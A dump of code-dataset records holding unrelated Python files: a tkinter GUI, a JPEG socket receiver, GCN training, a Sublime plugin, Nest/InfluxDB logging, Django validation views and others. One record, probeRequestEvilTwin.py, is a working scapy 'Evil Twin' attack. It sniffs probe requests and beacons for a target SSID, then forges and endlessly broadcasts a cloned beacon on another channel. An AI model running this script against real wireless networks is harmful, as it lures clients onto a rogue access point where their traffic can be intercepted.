ttk.Entry(mainframe, width=7, textvariable=feet)\r\nfeet_entry.grid(column=2, row=1, sticky=(tk.W, tk.E))\r\n\r\nttk.Label(mainframe, textvariable=meters).grid(column=2, row=2, sticky=(tk.W, tk.E))\r\nttk.Button(mainframe, text=\"Calculate\", command=calculate).grid(column=3, row=3, sticky=tk.W)\r\n\r\nttk.Label(mainframe, text=\"feet\").grid(column=3, row=1, sticky=tk.W)\r\nttk.Label(mainframe, text=\"is equivalent to\").grid(column=1, row=2, sticky=tk.E)\r\nttk.Label(mainframe, text=\"meters\").grid(column=3, row=2, sticky=tk.W)\r\n\r\nfor child in mainframe.winfo_children(): child.grid_configure(padx=5, pady=5)\r\n\r\nfeet_entry.focus()\r\nroot.bind('', calculate)\r\n\r\nroot.mainloop()","sub_path":"python/PACKAGE_SAMPLE/GUI/tkinter-sample/003-1st_tk_real_app.py","file_name":"003-1st_tk_real_app.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"430554133","text":"#!/usr/bin/env python3\n\n# A JPEG stream receiver (Echo server)\n# It waits socket connection on port 5800\n# It will decode the data and show it on CV image viewer\n# If connection closed, it will restart \n\nimport math\nimport time\nimport traceback\nimport numpy\nimport socket\nimport cv2\nimport os\n\nTCP_IP = \"0.0.0.0\" # Any IP can connect me :)\nTCP_PORT = 5800\n\nconn = None\n\n# Method to grab the size of the image array and verify that it is being decoded correctly\ndef recvall(sock, count):\n buf = b''\n while count:\n newbuf = sock.recv(count)\n if not newbuf: return None\n buf += newbuf\n count -= len(newbuf)\n return buf\n\ndef attemptConnection():\n\n global conn\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind((TCP_IP, TCP_PORT))\n s.listen(1)\n print(\"Listening for video streaming on port\", TCP_PORT)\n conn, addr = s.accept()\n print(\"Connected by\", addr)\n\ndef main():\n print(\"Waitting video stream ...\")\n\n global conn\n winName = \"Streaming video at %s port\" % str(TCP_PORT)\n winSize = (550, 400)\n\n font = cv2.FONT_HERSHEY_SIMPLEX\n bottomLeftCornerOfText = (10,380)\n fontScale = 0.6\n fontColor = (255,255,255)\n lineType = 1\n\n lastFrame = time.time()\n\n adjustTime = 0\n\n while True:\n try:\n \n # receive data from socket\n # the last 13 digit is timestamp\n # use the timestamp to calculate the latency of the video\n # encode remaining data to image\n\n length = recvall(conn, 16)\n if length is not None:\n stringData = recvall(conn, int(length))\n timestamp = float(stringData[-13:])\n latency = time.time() - timestamp - adjustTime\n # two system time clock not sync, use adjustTime to make it reasonable\n if latency < 0:\n adjustTime = adjustTime + latency\n info = \"Latency: %s \" % \"{:.2f}\".format(time.time() - timestamp - adjustTime)\n imgData = stringData[0:-13]\n # print(stringData)\n else:\n print(\"No streaming data!!\")\n print(\"--- Strat over ---\")\n cv2.waitKey(10)\n cv2.destroyAllWindows() # Not work on Mac!\n break\n \n data = numpy.frombuffer(imgData, dtype='uint8')\n img = cv2.imdecode(data, 1)\n img = cv2.resize(img, winSize)\n\n # Framerate\n thisFrame = time.time()\n f = 1 / (thisFrame - lastFrame)\n lastFrame = thisFrame\n framerate = \"FPS \"+ (\"%s\" % \"{:.0f}\".format(f)).zfill(2)\n info = info + framerate\n\n # On Screen Display\n cv2.putText(img, info, \n bottomLeftCornerOfText, \n font, \n fontScale,\n fontColor,\n lineType)\n\n cv2.imshow(winName, img)\n\n # Use the OpenCV famous break statement to allow imshow to function properly.\n k = cv2.waitKey(5) & 0xFF\n if k == '+':\n break\n\n except Exception as e:\n print(\"Something wrong! Broke in show loop\")\n print(traceback.format_exc())\n break\n\nwhile True:\n try:\n attemptConnection()\n main()\n except ConnectionRefusedError:\n pass\n # Keep the receive alive even on error\n","sub_path":"home/pi/jpeg-stream/receiver2.py","file_name":"receiver2.py","file_ext":"py","file_size_in_byte":3557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"569862091","text":"from __future__ import division\nfrom __future__ import print_function\n\nimport time\nimport tensorflow as tf\nimport json, random\nimport numpy as np\n\nfrom utils import *\nfrom models import GCN, MLP, BeliefGCN, GCNConcat, GCNConcat2, GCNChebyAlt1, GCNChebyAlt2\n\n\n# Settings\nflags = tf.app.flags\nFLAGS = flags.FLAGS\nflags.DEFINE_string('dataset', 'ind.cora', 'Dataset string.') # 'cora', 'citeseer', 'pubmed'\nflags.DEFINE_string('dataset_path', 'data', 'Path to dataset')\nflags.DEFINE_string('model', 'gcn', 'Model string.') # 'gcn', 'gcn_cheby', 'dense'\nflags.DEFINE_float('learning_rate', 0.01, 'Initial learning rate.')\nflags.DEFINE_integer('epochs', 2000, 'Number of epochs to train.')\nflags.DEFINE_integer('hidden1', 16, 'Number of units in hidden layer 1.')\nflags.DEFINE_float('dropout', 0.5, 'Dropout rate (1 - keep probability).')\nflags.DEFINE_float('weight_decay', 5e-4, 'Weight for L2 loss on embedding matrix.')\nflags.DEFINE_integer('early_stopping', 10, 'Tolerance for early stopping (# of epochs).')\nflags.DEFINE_integer('max_degree', 3, 'Maximum Chebyshev polynomial degree.')\nflags.DEFINE_string('run_id', '', 'Name of this training session')\nflags.DEFINE_bool('use_signac', False, 'Use signac and put all args into signac workspace.')\nflags.DEFINE_string('signac_root', None, 'Root path for signac project.')\nflags.DEFINE_string('save_plot', None, 'Path to save the plot of input data')\nflags.DEFINE_bool('debug', False, 'Debug code in VS Code')\nflags.DEFINE_integer('random_seed', 123, 'Random seed used in the experiment')\nflags.DEFINE_integer('val_size', 500, 'Size of validation set')\nflags.DEFINE_bool('_feature_normalize', True, 'Control Feature Normalize')\nflags.DEFINE_bool('identity_feature', False, 'Use identity feature')\nflags.DEFINE_integer('eigenvalue', -1, '')\n\n# Set random seed\nseed = FLAGS.random_seed\nnp.random.seed(seed)\ntf.set_random_seed(seed)\n\nif FLAGS.debug:\n import ptvsd\n print(\"Waiting for debugger attach\")\n ptvsd.enable_attach(address=('localhost', 5678), redirect_output=True)\n ptvsd.wait_for_attach()\n breakpoint()\n\nif FLAGS.use_signac:\n import signac\n project = signac.get_project(root=FLAGS.signac_root)\n job = project.open_job(dict(\n dataset=FLAGS.dataset, run_id=FLAGS.run_id, model=FLAGS.model, \n learning_rate=FLAGS.learning_rate, epochs=FLAGS.epochs, hidden1=FLAGS.hidden1,\n dropout=FLAGS.dropout, weight_decay=FLAGS.weight_decay,\n early_stopping=FLAGS.early_stopping, max_degree=FLAGS.max_degree, random_seed=FLAGS.random_seed,\n identity_feature=FLAGS.identity_feature, val_size=FLAGS.val_size\n )).init()\n FLAGS.save_plot = job.fn(FLAGS.dataset + \"-gcn-plot.pdf\")\n\ngpus = tf.config.experimental.list_physical_devices('GPU')\nif gpus:\n for gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\n logical_gpus = tf.config.experimental.list_logical_devices('GPU')\n print(len(gpus), \"Physical GPUs,\", len(logical_gpus), \"Logical GPUs\")\n\n# Load data\ndataset = PlanetoidData(FLAGS.dataset, FLAGS.dataset_path, val_size=FLAGS.val_size)\nif FLAGS.identity_feature:\n dataset.set_identity_features()\nadj, features, y_train, y_val, y_test, train_mask, val_mask, test_mask = dataset.load_data_result\n\n# Some preprocessing\nif FLAGS._feature_normalize:\n features = preprocess_features(features)\nelse:\n print(\"GCN feature normalize disabled.\")\n features = sparse_to_tuple(features)\nif FLAGS.model == 'gcn':\n support = [preprocess_adj(adj)]\n num_supports = 1\n model_func = GCN\nelif FLAGS.model == 'gcn_cheby':\n if FLAGS.eigenvalue >= 0:\n support = chebyshev_polynomials(adj, FLAGS.max_degree, FLAGS.eigenvalue)\n else:\n support = chebyshev_polynomials(adj, FLAGS.max_degree)\n num_supports = 1 + FLAGS.max_degree\n model_func = GCN\nelif FLAGS.model == 'gcn_concat_2':\n support = [preprocess_adj(adj)]\n num_supports = 1\n model_func = GCNConcat2\nelif FLAGS.model == 'gcn_cheby_concat_2':\n if FLAGS.eigenvalue >= 0:\n support = chebyshev_polynomials(adj, FLAGS.max_degree, FLAGS.eigenvalue)\n else:\n support = chebyshev_polynomials(adj, FLAGS.max_degree)\n num_supports = 1 + FLAGS.max_degree\n model_func = GCNConcat2\nelif FLAGS.model == 'dense':\n support = [preprocess_adj(adj)] # Not used\n num_supports = 1\n model_func = MLP\nelse:\n raise ValueError('Invalid argument for model: ' + str(FLAGS.model))\n\n# Define placeholders\nplaceholders = {\n 'support': [tf.sparse_placeholder(tf.float32) for _ in range(num_supports)],\n 'features': tf.sparse_placeholder(tf.float32, shape=tf.constant(features[2], dtype=tf.int64)),\n 'labels': tf.placeholder(tf.float32, shape=(None, y_train.shape[1])),\n 'labels_mask': tf.placeholder(tf.int32),\n 'dropout': tf.placeholder_with_default(0., shape=()),\n 'num_features_nonzero': tf.placeholder(tf.int32) # helper variable for sparse dropout\n}\n\n# Create model\nmodel = model_func(placeholders, input_dim=features[2][1], logging=True)\n\n# Initialize session\nsess = tf.Session()\n\n\n# Define model evaluation function\ndef evaluate(features, support, labels, mask, placeholders):\n t_test = time.time()\n feed_dict_val = construct_feed_dict(features, support, labels, mask, placeholders)\n outs_val = sess.run([model.loss, model.accuracy], feed_dict=feed_dict_val)\n return outs_val[0], outs_val[1], (time.time() - t_test)\n\ndef predict(features, support, labels, mask, placeholder):\n feed_dict_val = construct_feed_dict(features, support, labels, mask, placeholders)\n prediction_prob = sess.run(model.predict(), feed_dict=feed_dict_val)\n prediction_class = np.argmax(prediction_prob, axis=1)\n return prediction_prob, prediction_class\n\ndef calculate_confusion_matrix(prediction_class, dataset, *scope, **kwargs):\n sample_mask = dataset.get_sample_mask(slice(None), *scope)\n correct_label = dataset.labels[sample_mask]\n predicted_label = prediction_class[sample_mask]\n assert len(correct_label) == len(predicted_label)\n \n confusion_matrix = np.zeros((dataset.num_labels, dataset.num_labels))\n for i in range(len(correct_label)):\n confusion_matrix[correct_label[i], predicted_label[i]] += 1\n\n if kwargs.get(\"detail_output\"):\n return confusion_matrix, correct_label\n else:\n return confusion_matrix\n\n# Init variables\nsess.run(tf.global_variables_initializer())\nprint(\"Number of parameters: \", \n np.sum([np.prod(v.get_shape().as_list()) for v in tf.trainable_variables()]))\n\n\ncost_val = []\n\nrecord_dict = dict()\n# Train model\nfor epoch in range(FLAGS.epochs):\n\n t = time.time()\n # Construct feed dictionary\n feed_dict = construct_feed_dict(features, support, y_train, train_mask, placeholders)\n feed_dict.update({placeholders['dropout']: FLAGS.dropout})\n\n # Training step\n outs = sess.run([model.opt_op, model.loss, model.accuracy], feed_dict=feed_dict)\n\n # Validation\n cost, acc, duration = evaluate(features, support, y_val, val_mask, placeholders)\n cost_val.append(cost)\n\n # Print results\n print(\"Epoch:\", '%04d' % (epoch + 1), \"train_loss=\", \"{:.5f}\".format(outs[1]),\n \"train_acc=\", \"{:.5f}\".format(outs[2]), \"val_loss=\", \"{:.5f}\".format(cost),\n \"val_acc=\", \"{:.5f}\".format(acc), \"time=\", \"{:.5f}\".format(time.time() - t))\n record_dict.update(dict(\n epoch=int(epoch + 1), train_loss=float(outs[1]), train_acc=float(outs[2]),\n val_loss=float(cost), val_acc=float(acc), time=str(time.time() - t), early_stopping=False\n ))\n if epoch > FLAGS.early_stopping and cost_val[-1] > np.mean(cost_val[-(FLAGS.early_stopping+1):-1]):\n print(\"Early stopping...\")\n record_dict[\"early_stopping\"] = True\n break\n\nprint(\"Optimization Finished!\")\n\n# Testing\ntest_cost, test_acc, test_duration = evaluate(features, support, y_test, test_mask, placeholders)\nprint(\"Test set results:\", \"cost=\", \"{:.5f}\".format(test_cost),\n \"accuracy=\", \"{:.5f}\".format(test_acc), \"time=\", \"{:.5f}\".format(test_duration))\nrecord_dict.update(test_loss=float(test_cost), test_accuracy=float(test_acc), test_duration=str(test_duration))\n\npredicted_prob, predicted_class = predict(features, support, y_test, test_mask, placeholders)\n\nif FLAGS.use_signac:\n with open(job.fn(\"results.json\"), \"w\") as f:\n json.dump(record_dict, f)\n job.data[f\"predicted_prob\"] = predicted_prob\n job.data[f\"correct_label\"] = dataset.labels\n\nfor scope, y_scope, scope_mask in (\n ('train', y_train, train_mask),\n ('val', y_val, val_mask),\n ('test', y_test, test_mask),\n ('wild', dataset.y_wild, dataset.wild_mask)\n):\n # confusion_matrix = calculate_confusion_matrix(predicted_class, dataset, scope)\n # print(f\"Confusion matrix on {scope} set: ([i,j] -> node of class i classified as class j)\")\n # print(confusion_matrix)\n \n if FLAGS.use_signac:\n # job.data[f\"confusion_matrix_{scope}\"] = confusion_matrix\n job.data[f\"{scope}_mask\"] = scope_mask","sub_path":"baselines/gcn/gcn/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"622311663","text":"import sublime\nimport sublime_plugin\nimport subprocess\nimport threading\n\nclass SaveNotifyVM(sublime_plugin.EventListener):\n def on_post_save(self, view):\n\n settings = sublime.load_settings('SaveNotifyVM.sublime-settings')\n file = view.file_name()\n\n if not settings == None:\n path = settings.get('path_to_repo', '')\n print(file.startswith(path), file, path)\n if file.startswith(path):\n def notify():\n from http import client\n filename = file.replace(path+'/', '')\n ip = settings.get('vm_ip', '127.0.0.1')\n port = settings.get('vm_port', '8080')\n headers = {\"X-File\": filename}\n conn = client.HTTPConnection(ip, port, False, 2)\n try:\n conn.request(\"POST\", \"/\", \"\", headers)\n response = conn.getresponse()\n conn.close()\n print(\"Save notify:\", filename)\n except:\n print(\"Save did not notify (exception)\")\n pass\n thread = threading.Thread(target=notify)\n thread.start()\n","sub_path":"SaveNotifyVM10.py","file_name":"SaveNotifyVM10.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"651858832","text":"#python3\nimport argparse\nimport numpy as np\nfrom scapy.all import *\nfrom threading import Thread\nimport pandas\nimport time\nimport os\nfrom scapy.all import Dot11,Dot11Beacon,Dot11Elt,RadioTap,sendp,hexdump\n\nparser = argparse.ArgumentParser(prog=\"Evil Twin attack\",\n usage=\" python3 evilTwin.py -i [interface] -s [secondes] -SSID [wifi_SSID]\\n\",\n allow_abbrev=False)\nparser.add_argument(\"-i\", \"--Interface\", required=True, help=\"Interface from which you want to send packets, needs to be set to monitor mode \")\nparser.add_argument(\"-s\", \"--Second\", required=True, help=\"Number of second you will monitor packets\")\nparser.add_argument(\"-SSID\", required=True, help=\"SSID of the wifi (if found) will be targeted\")\n\nargs = parser.parse_args()\n\n# Initialize the networks that will contain STAs that are looking for the targeted AP\n# initialize the networksBeacon dataframe that will contain AP targeted\n\nnetworks = pandas.DataFrame(columns=[\"STA MAC\", \"searched SSID\"])\nnetworksBeacon = pandas.DataFrame(columns=[\"BSSID\", \"SSID\", \"Packet\"])\n\n# set the index for both dataFrame\nnetworks.set_index(\"STA MAC\", inplace=True)\nnetworksBeacon.set_index(\"BSSID\", inplace=True)\n\ndef callback(packet):\n i = 0\n if packet.haslayer(Dot11Beacon):\n # extract the MAC address of the network\n bssid = packet[Dot11].addr2\n # get the name of it and its strength\n ssid = packet[Dot11Elt].info.decode()\n # if the ssid correspond to the one targeted \n if(ssid == args.SSID):\n networksBeacon.loc[bssid] = (ssid, packet) \n\n if packet.haslayer(Dot11ProbeReq):\n # extract the STA address of the network\n mac = str(packet.addr2)\n ssid = packet.info.decode() \n if (ssid == args.SSID):\n networks.loc[mac] = (str(args.SSID)) \n\ndef change_channel():\n ch = 1\n while True:\n os.system(f\"iwconfig {interface} channel {ch}\")\n # switch channel from 1 to 14 each 0.5s\n ch = ch % 14 + 1\n time.sleep(0.5)\n\n\ndef create_packet(packet):\n #hexdump(packet)\n if packet.haslayer(Dot11Beacon):\n # extract the MAC address of the network\n bssid = packet[Dot11].addr2\n # get the name of it\n ssid = packet[Dot11Elt].info.decode()\n # extract network stats\n stats = packet[Dot11Beacon].network_stats()\n # get the channel of the AP\n channel = stats.get(\"channel\")\n # calculate the new channel\n newChannel = (channel + 6) % 11\n # get the end of the original packet\n oldEltend = packet[Dot11Elt][3]\n # get the content of original packet\n newPacket = packet\n # change the DSset to the new calculate value. This will clear everything that follows \n newPacket[Dot11Elt][2] = Dot11Elt(ID='DSset', info=chr(newChannel), len=1) \n # concatenate the end of the packet with what we created before\n finalPacket = newPacket/oldEltend\n # send the packet until user stop it\n sendp(finalPacket, iface=args.Interface, inter=0.10, loop=1)\n\n \n\nif __name__ == \"__main__\":\n # interface name, check using iwconfig and pass it with -i argument\n interface = args.Interface \n\n # the channel changer has been taken from : https://www.thepythoncode.com/code/building-wifi-scanner-in-python-scapy\n # the callback function has been inspired by it as well\n # start the channel changer \n channel_changer = Thread(target=change_channel)\n channel_changer.daemon = True\n channel_changer.start()\n\n # start sniffing\n print(\"Sniffing for \" + str(args.Second) + \" seconds, please wait\\n\")\n sniff(prn=callback, iface=interface, timeout=int(args.Second))\n\n # Recover corresponding packet of the selected wifi\n packet = networksBeacon.values[0][1]\n\n create_packet(packet)\n","sub_path":"scripts/probeRequestEvilTwin.py","file_name":"probeRequestEvilTwin.py","file_ext":"py","file_size_in_byte":3910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"500475237","text":"def split_encoded_string_to_list(string):\n \"\"\"\n Split the elements from the encoded string into a list. \n Each element of the list contains a letter and the number of times \n the letter is repeated. So \"2AB\" should be ['2A', 'B'].\n \"\"\"\n\n chars_with_count = []\n new_string = \"\"\n\n for char in string:\n if not new_string:\n new_string += char\n\n elif (new_string.isdigit() and char.isdigit()) or (\n new_string.isdigit() and char.isalpha()\n ):\n new_string += char\n\n elif new_string.isdigit() and char == \" \":\n new_string += char\n\n else:\n chars_with_count.append(new_string)\n new_string = char\n\n chars_with_count.append(new_string)\n return chars_with_count\n\n\ndef decode(string):\n \"\"\"Take an encoded list and return a decoded string\"\"\"\n\n encoded_list = split_encoded_string_to_list(string)\n\n decoded_list = []\n for element in encoded_list:\n if len(element) > 1:\n letter = element[-1]\n number = int(element[:-1])\n repeats = letter * number\n else:\n repeats = element\n decoded_list.append(repeats)\n return \"\".join(decoded_list)\n","sub_path":"python/run-length-encoding/decode_string.py","file_name":"decode_string.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"199582546","text":"import datetime as dt\nimport pandas as pd\nfrom utils.database import config as cfg, io\n\neg = cfg.load_engine()[\"2Gb\"]\n\n\nclass Parser:\n def __init__(self, file):\n self.file = file\n\n @property\n def new(self):\n df = pd.read_excel(self.file)\n df[\"statistic_date\"] = df[\"statistic_date\"].apply(lambda x: dt.date(x.year, x.month, x.day))\n return df.dropna(subset=[\"fund_id\", \"statistic_date\", \"type\"])\n\n @property\n def old(self):\n df = self.new\n df[\"source\"] = \"私募云通\"\n df[\"source_code\"] = \"0\"\n df_div = df.loc[df[\"type\"] == \"分红\"]\n df_splt = df.loc[df[\"type\"] == \"拆分\"]\n\n df_div = df_div.rename(columns={\"value\": \"after_tax_bonus\"}).drop(axis=1, columns=[\"type\"])\n df_div[\"fund_allocation_category\"] = 1\n df_splt = df_splt.rename(columns={\"value\": \"split_ratio\"}).drop(axis=1, columns=[\"type\"])\n df_splt[\"fund_allocation_category\"] = 1\n return df_div.dropna(subset=[\"fund_id\", \"statistic_date\", \"fund_allocation_category\"]), df_splt.dropna(subset=[\"fund_id\", \"statistic_date\", \"fund_allocation_category\"])\n\n\ndef main():\n f = \"C:\\\\Users\\\\Yu\\\\Documents\\\\WeChat Files\\\\wxid_rc6z8uvrexqz21\\\\Files\\\\分红导入0530.xlsx\"\n p = Parser(f)\n io.to_sql(\"base.fund_allocation_data\", eg, p.old[0])\n io.to_sql(\"base.fund_allocation_data\", eg, p.old[1])\n io.to_sql(\"base.fund_dividend_split\", eg, p.new)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"SCRIPT/OTHER/desktop/import_divsplt.py","file_name":"import_divsplt.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"433390508","text":"#!/usr/local/bin/python3\nimport sys\nimport nest\nfrom configobj import ConfigObj\nfrom influxdb import InfluxDBClient\nfrom nest import utils as nu\nfrom validate import Validator\n\n# Gather details from config.ini and process\nconfig = ConfigObj(sys.path[0] + '/config.ini', configspec=['convert_to_Fahrenheit = boolean(default=True)'])\nconfig.validate(Validator(), copy=True)\nconvert_to_Fahrenheit = config['convert_to_Fahrenheit']\nUSER = config['nest']['user']\nPASS = config['nest']['pass']\nIFLX_HOST = config['influx']['host']\nIFLX_USER = config['influx']['user']\nIFLX_PASS = config['influx']['pass']\nIFLX_DB = config['influx']['database']\n\n# Metrics to loop, uncomment any your system is capable of\nmetrics = ['fan', # Fan state\n 'hvac_ac_state', # Air Conditioning state\n #'hvac_cool_x2_state', # Unsure of function\n 'hvac_heater_state', # Heater state\n #'hvac_aux_heater_state', # Unsure of function\n #'hvac_heat_x2_state', # Unsure of function\n #'hvac_heat_x3_state', # Unsure of function\n #'hvac_alt_heat_state', # Unsure of function \n #'hvac_alt_heat_x2_state', # Unsure of function \n #'hvac_emer_heat_state', # Unsure of function\n 'humidity'] # Measures current indoor humidity\n\n# Function to gather data from Nest\ndef gather_nest(u=USER, p=PASS):\n napi = nest.Nest(u, p)\n data = []\n # Jason loves mad precision, yo. Lets turn that shiz down a notch.\n nu.decimal.getcontext().prec = 4\n for structure in napi.structures:\n struct_name = structure.name\n\n # loop through each of the Nest devices present in the account\n for device in structure.devices:\n\n # these values are reset to null in case they aren't used in this loop\n device_mode = None\n target_heat = None\n target_cool = None\n \n # loop through and record each of the metrics defined above\n for m in metrics:\n data.append({'measurement': m,\n 'tags': {'structure': struct_name,\n 'device': device.name},\n 'fields': {'value': getattr(device, m)}})\n\n # process current indoor temperature\n data.append({'measurement': 'temperature',\n 'tags': {'structure': struct_name,\n 'device': device.name},\n 'fields': {'value': convert(getattr(device,'temperature'))}})\n\n # get current mode of device to properly process target temps\n device_mode = getattr(device, 'mode')\n data.append({'measurement': 'mode',\n 'tags': {'structure': struct_name,\n 'device': device.name},\n 'fields': {'value': device_mode}})\n\n # process target temps based on mode \n if device_mode == \"cool\": # AC only\n target_heat=None\n target_cool=convert(getattr(device,'target'))\n elif device_mode == \"heat\": # heater only\n target_heat=convert(getattr(device,'target'))\n target_cool=None\n elif device_mode == \"range\": #high and low set points\n target_heat=convert(getattr(device,'target').low)\n target_cool=convert(getattr(device,'target').high)\n else: #off or other unhandled mode\n target_heat=None\n target_cool=None\n\n # record target_heat if it is set\n if target_heat is not None:\n data.append({'measurement': 'target_heat',\n 'tags': {'structure': struct_name,\n 'device': device.name},\n 'fields': {'value':target_heat}})\n\n # record target_cool if it is set\n if target_cool is not None:\n data.append({'measurement': 'target',\n 'tags': {'structure': struct_name,\n 'device': device.name},\n 'fields': {'value':target_cool}})\n\n # record current outside temperature (wherever Nest gets this from)\n data.append({'measurement': 'temperature',\n 'tags': {'structure': struct_name,\n 'device': 'Outside'},\n 'fields': {'value': convert(structure.weather.current.temperature)}})\n\n # record current outside humidity (wherever Nest gets this from)\n data.append({'measurement': 'humidity',\n 'tags': {'structure': struct_name,\n 'device': 'Outside'},\n 'fields': {'value': structure.weather.current.humidity}})\n return data\n\n# Function to send data gathered to influxDB\ndef send_to_influx(metrics, host=IFLX_HOST, port=8086, user=IFLX_USER,\n pwd=IFLX_PASS, db=IFLX_DB):\n client = InfluxDBClient(host, port, user, pwd, db)\n client.write_points(metrics)\n\n# Function to convert Celsius temps to Fahrenheit if option is set in config.ini\ndef convert(value):\n if convert_to_Fahrenheit:\n converted = nu.c_to_f(value)\n else:\n converted = value\n return converted\n\n# Main body of program\nif __name__ == '__main__':\n send_to_influx(gather_nest())\n","sub_path":"nest_push.py","file_name":"nest_push.py","file_ext":"py","file_size_in_byte":5497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"548446688","text":"from __future__ import print_function\nimport os\nimport sys\nsys.argv.append( '-b-' )\nimport ROOT as r\n\ndef CreateFile():\n x = r.RooRealVar('x','x',1000000,10000,1000000)\n aset= r.RooArgSet(x)\n aset.writeToFile('test.txt')\n return\n\ndef LoadFile():\n x = r.RooRealVar('x','x',10,1,100)\n ws = r.RooWorkspace('ws')\n ws.__getattribute__('import')(x)\n x.Print()\n ws.allVars().readFromFile('test.txt')\n ws.var('x').Print()\n return\n\nif not os.path.isfile('test.txt'): CreateFile()\nLoadFile()\n","sub_path":"root/roofitstats/read_scientific_notation.py","file_name":"read_scientific_notation.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"60173287","text":"import os\nfrom pathlib import Path\n\nimport numpy as np\nimport pandas as pd\nfrom .models import Directories\nfrom codes.v4_validation.kv import kv_check\nfrom django.contrib import messages\nfrom django.db import connections\nfrom django.shortcuts import render\n\nfrom iteration_status.models import Directories\n\n\ndef dict_fetchall(cursor):\n desc = cursor.description\n return [dict(zip([col[0] for col in desc], row)) for row in cursor.fetchall()]\n\ndef execute(query):\n with connections['default'].cursor() as cur:\n cur.execute(query)\n dict_result = dict_fetchall(cur)\n result=pd.DataFrame(dict_result)\n return result\n\ndef execute_non_dict(query):\n with connections['default'].cursor() as cur:\n cur.execute(query)\n result = cur.fetchall()\n return result\n\ndef execute_one(query):\n with connections['default'].cursor() as cur:\n cur.execute(query)\n result = cur.fetchall()\n return result[0][0]\n\ndef index(request):\n return render(request, \"validation/kv.html\")\n\ndef kv_report(request):\n v1_path = request.POST.get('v1_path',False)\n v4_path = request.POST.get('v4_path',False)\n try:\n content,path = generate_kv_report(v1_path,v4_path)\n messages.info(request,'Detailed differences at location {filepath}'.format(filepath = os.path.abspath(path)))\n return render (request, \"validation/additive_report.html\", content)\n except Exception as e:\n messages.error(request,e)\n return render(request, \"home/notifications.html\")\n\ndef generate_kv_report(v1_path,v4_path):\n path = kv_check(v1_path,v4_path)\n report = pd.read_csv(path+'/Additive_Report.csv')\n columns = report.columns.values.tolist()\n reportHTML = report.values.tolist()\n content = {'columns':columns , 'data': reportHTML}\n return content,path\n\ndef kv_report_auto_path(request):\n v1_kv_release_path = \"//falmumapp32//concordia//kv\"\n v4_kv_release_path = \"//172.16.2.49//kv\" \n\n country = request.POST.get('country',False)\n subcategorycode = request.POST.get('subcategorycode',False)\n\n v1_path = os.path.abspath(os.path.join(v1_kv_release_path,subcategorycode,country))\n v4_path = os.path.abspath(os.path.join(v4_kv_release_path,subcategorycode,country))\n try:\n content,path = generate_kv_report(v1_path,v4_path)\n messages.info(request,'Detailed differences at location {filepath}'.format(filepath = os.path.abspath(path)))\n content[\"title\"] = \"KV Check\"\n return render (request, \"validation/additive_report.html\",content)\n except Exception as e:\n messages.error(request,e)\n return render(request, \"home/notifications.html\")\n \ndef index_auto_path(request):\n country = execute(\"select name from mappingdb.mas_country\")\n subcategory = execute(\"select name,cd_cp from mappingdb.mas_subcategory\")\n countryHTML = country['name'].values.tolist()\n subcategoryHTML = subcategory.values.tolist()\n content = {\"masCountry\":countryHTML, \"masSubcategory\":subcategoryHTML, \"title\":\"KV Check (Auto Path)\"}\n return render(request, \"validation/kv_auto_path.html\",content)","sub_path":"validation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"624184318","text":"def filter_queue(q: Queue[int], minimum: int) -> None:\n \"\"\"Remove all items from that are less than .\n >>> q = Queue()\n >>> q.enqueue(2)\n >>> q.enqueue(21)\n >>> q.enqueue(5)\n >>> q.enqueue(1)\n >>> filter_queue(q, 10)\n >>> q.dequeue()\n 21\n >>> q.is_empty()\n True\n \"\"\"\n temp_queue = Queue()\n while not q.is_empty():\n value = q.dequeue()\n if value >= minimum:\n temp_queue.enqueue(value)\n\n q = temp_queue\n","sub_path":"csc148 backup/labs/lab4/lab4laptop/scratch.py","file_name":"scratch.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"458608709","text":"# -*- coding: utf-8 -*-\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport settings\n\ntf.flags.DEFINE_string('buckets', '', 'buckets')\nFLAGS = tf.app.flags.FLAGS\n\nclass Dataset(object):\n def __init__(self, data_kind=0):\n \"\"\"\n 生成一个数据集对象\n :param data_kind: 决定了使用哪种数据集 0-训练集 1-开发集 2-测试集\n \"\"\"\n self.data, self.labels = self.read_data(data_kind)\n self.start = 0 # 记录当前batch位置\n self.data_size = len(self.data) # 样例数\n\n def read_data(self, data_kind):\n \"\"\"\n 从文件中加载数据\n :param data_kind:数据集种类 0-训练集 1-开发集 2-测试集\n :return:\n \"\"\"\n # 获取数据集路径\n # data_path = [settings.TRAIN_DATA, settings.DEV_DATA, settings.TEST_DATA][data_kind]\n # data = np.load(data_path + '_data.npy')\n # labels = np.load(data_path + '_labels.npy')\n\n data_path_fe = os.path.join(FLAGS.buckets, '/train_data.npy')\n data_path_label = os.path.join(FLAGS.buckets, '/train_labels.npy')\n data = np.load(data_path_fe)\n labels = np.load(data_path_label)\n\n # save_path = os.path.join(FLAGS.buckets, '/filname')\n # 加载\n\n return data, labels\n\n def next_batch(self, batch_size):\n \"\"\"\n 获取一个大小为batch_size的batch\n :param batch_size: batch大小\n :return:\n 